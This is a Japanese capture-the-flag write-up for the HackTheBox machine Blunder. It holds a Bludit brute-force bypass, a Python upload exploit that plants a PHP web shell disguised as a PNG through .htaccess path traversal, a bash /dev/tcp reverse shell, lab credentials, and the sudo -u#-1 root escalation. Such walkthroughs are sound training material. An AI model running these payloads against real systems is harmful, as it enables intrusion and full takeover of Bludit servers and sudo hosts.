> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Blunder HackTheBox攻略記事

Bludit CMS悪用、IPブロック回避（X-Forwarded-Forヘッダー）、ディレクトリトラバーサルによる画像ファイルアップロード（.htaccessの活用）、

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**スキル:**

* Bludit CMSの悪用
* IPブロックの回避（X-Forwarded-Forヘッダー）
* ディレクトリトラバーサルによる画像ファイルアップロード（.htaccessを使った操作）
* sudo権限の悪用（CVE-2019-14287）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbe2784da0fc80d2196a69dfbb56588069e33256%2Fimage%20(2452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bca384dd03fab190cce6c5a72337a259faadff%2Fimage%20(2453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e409880d5b12742dddf49bdf85cbbe93ded4875%2Fimage%20(2454).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c7fd66b01ee64df9076c4b84219dad2375a1d4%2Fimage%20(2455).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1e78e0c9c10af34ae802ea255a77f85b4544b95%2Fimage%20(2456).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82c34c1fe8df01da7fbbd8e4f9838d713c4c84b%2Fimage%20(2457).png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート80（Blunder）:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c64b62bfaf062f0665410aedb5d20fdbe4105b4d%2Fimage%20(2458).png?alt=media" alt=""><figcaption></figcaption></figure>

**ディレクトリスキャン**

使用する **Gobuster** 興味深いディレクトリを見つけるために:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* 結果: ～の発見 **/admin** ディレクトリ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c25811e9b3a61359a8c49bca7ff28b2066fff21%2Fimage%20(1080).png?alt=media" alt=""><figcaption></figcaption></figure>

**CMSの特定**

にアクセスすることで **/admin**、Bludit CMS（バージョン **3.9.2**）が検出されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d29964ab8c90ad068a7face9326d40a23b004e5%2Fimage%20(2460).png?alt=media" alt="" width="360"><figcaption></figcaption></figure>

## **Bludit CMSの悪用**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6135481dc16c5e9675460cc4c53c6dc51fc14331%2Fimage%20(2459).png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性を検索**

使用する `searchsploit` 既知の脆弱性を見つけるために:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb15328b6543ca5317ef31606eb98a6a28335c49%2Fimage%20(2461).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 検出された脆弱性: **CVE-2019-17240**

{% hint style="info" %}
このエクスプロイトは、BluditというCMS（コンテンツ管理システム）プラットフォームにおけるブルートフォース攻撃対策の脆弱性を悪用することを目的としています。脆弱性は **CVE-2019-17240**として特定され、Bludit 3.9.2以下のバージョンに実装されたブルートフォース攻撃対策を回避できるようになります。
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**テキストファイルが見つかりました**

Gobusterで追加調査を行います:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165b2ec70199f702d0abcaa85940d75a5d3aebf6%2Fimage%20(2462).png?alt=media" alt=""><figcaption></figcaption></figure>

内容: 特定されたユーザー: **fergus**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1138d5f2ae0a0930c9bc69409f8f8877c2af2fcb%2F%7BB797CE15-6304-497A-9945-8B747637D2B5%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

### Bluditへのブルートフォース攻撃

ユーザー **fergus** が見つかったら、辞書を使ってブルートフォース攻撃を開始します:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

ファイルに一致するものは見つかりませんでした **rockyou.txt**.

### **個人用辞書**

使用する **Cewl** Webサイトを基に辞書を生成するには：

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffedc1a50a1007bd91e30eaec230875fc03ad980%2Fimage%20(2463).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

カスタム辞書でブルートフォース攻撃を再実行します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-105bd582a1e9bc675d73f035c358b2bd3f9c0e79%2Fimage%20(2464).png?alt=media" alt=""><figcaption></figcaption></figure>

* パスワードが見つかりました: `fergus:RolandDeschain`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039a6ec9a5bafba34e169250ecbcef285ab6386b%2Fimage%20(2465).png?alt=media" alt=""><figcaption></figcaption></figure>

## ディレクトリトラバーサルによる画像ファイルアップロードの悪用:

認証後、このCMSは～に対する **ディレクトリトラバーサル** タイプの攻撃に対して脆弱であり、悪意のあるファイルのアップロードを可能にします。

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
ダウンロードされるファイルの保存場所は、の値を変更することで指定できます `uuid` そして悪意のある画像を一時フォルダにアップロードします。
{% endhint %}

認証後、を介して新しいエクスプロイトをダウンロードできます `searchsploit` の中に `multiple/webapps/48701.txt`、この脆弱性を悪用する手順が記載されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e88c5773be66139875805963abfd75098364f6%2Fimage%20(1094).png?alt=media" alt=""><figcaption></figcaption></figure>

**操作手順**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afdc23628a6e51eb566dfddf6b42ec5aa4c1249d%2F%7B72C127D6-9824-43EA-A632-E0DC0BF68275%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **悪意のあるファイルを作成する** (`evil.png`）にPHPコードを含める:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **状況に合わせてスクリプトを修正する** （被害者のIPアドレス、ユーザー名、パスワードなど）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7cf94cad2256173a4f867997a90e8210cb7df48%2F%7BD8DDEB4F-4F4A-48B0-B349-AEB393102303%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

3. **エクスプロイトを実行:**

攻撃用Pythonスクリプト：

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # CHANGE ME
username = 'fergus'  # CHANGE ME
password = 'RolandDeschain'  # CHANGE ME

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # CREATE ME

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CREATE ME

def login(url,username,password):
    """ 提供された管理者認証情報でログインし、認証後にCookieを取得する """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ 認証済みセッションからCSRFトークンを取得する """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ 悪意のある画像ファイルからPHPを実行するために必要なファイルをアップロードする。ペイロードと .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # 脆弱なアプリでは、この行が最初に実行されます:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # ファイル拡張子のチェックがあっても、実際には
        # .htaccess ファイルのアップロードを妨げることはできません。
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("ペイロードをアップロード中: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b89b7b5c624a2f89f4dca621f9ac83d29c80e804%2F%7B1AACD0C9-340D-40EC-93C0-28DA7150E17B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

4. **悪意のあるファイルにアクセスする**：画像がダウンロードされたら、単に `/bl-content/tmp/temp/evil.png` にアクセスしてコマンドを実行します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2721050e3361fbc595f0297d0fb6abf47180d222%2F%7BC591FCB4-21A0-4572-8BCF-2A88FE3D06CE%7D.png?alt=media" alt="" width="552"><figcaption></figcaption></figure>

5. **Netcatでポート443を待ち受ける**:

```bash
nc -nvlp 443
```

5. **リバースシェルを実行する**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d18819db7ce511efea5a68bd20f6d0678c1a27b%2Fimage%20(1096).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**ターミナルセッション管理** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 権限昇格

ファイルを調べると、次のファイルが見つかります `users.php` の中の `databases` ユーザーのハッシュ化された認証情報を含むフォルダ `fergus` および `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20f51c608cd98351ae038ae8594e00d107d86a35%2Fimage%20(1097).png?alt=media" alt=""><figcaption></figcaption></figure>

CrackStationを使用してこれらのハッシュの解読を試みると、認識されないようです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bdb488a51dbbde9b18034db4bfcd5716ef0fd26%2Fimage%20(1098).png?alt=media" alt=""><figcaption></figcaption></figure>

ただし、Webサイトのルートには、同じ設定ファイルを含みつつ、異なる認証情報を持つ、より新しいバージョンのBluditが見つかります:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7edf2974f55b344e180827d416afa2012e94b0f%2Fimage%20(1099).png?alt=media" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c8fe285e13c590f5a8ef840ccb8aad00d44a52%2Fimage%20(1100).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b08ce6b4fc96c94221dc86c3e73d5e719d6228a%2F%7B6D81EDBA-EE13-469E-A75C-1F071F4CF792%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78fa87a335c29b7d566e97cc423555b7b46bab4e%2Fimage%20(1101).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### user.txtのフラグ:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05249091d0e92ba1b9efc2f6abc18eeb7bbf4e4%2F%7B6122353D-C97D-44AC-8DD3-0FD4070F8DFB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### sudo権限の悪用（CVE-2019-14287）:

sudo権限を調査していると、sudoersファイルに脆弱な設定が見つかりました。 `sudo -l` コマンドを使用すると、すべてのユーザーに対して、 `root` という権限を特定しました。これにより、すべてのユーザーが～を除いて `/bin/bash` コマンド:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aa40d7a25844ea1df6e9446ce361a29ba431776%2Fimage%20(2466).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

この脆弱性は、sudo 1.8.27より前のすべてのバージョンに影響します。

今回の場合、sudoのバージョンは1.8.27未満であるため、この脆弱性は悪用可能です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b072b730fba3dec03091f9160982083a2b0701f%2F%7BBDCA0F7E-840F-4753-92E8-F314A655AEAF%7D.png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

この脆弱性を悪用するには、次のコマンドを実行するだけです:

```bash
sudo -u#-1 /bin/bash
```

このコマンドにより、ユーザーとしてシェルを実行できます `-1`、これはユーザーに対応します `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-147e70291ca26c6683abc988485b587994a3669c%2Fimage%20(2467).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a946d7b0009c4b83e649a87bad81385752b39256%2Fimage%20(2468).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b5cbfb36a83f2b36c15a3d2e357cd1d8badfd98%2F%7BE30EC42C-0169-47C5-B755-64D22504FBB9%7D.png?alt=media" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
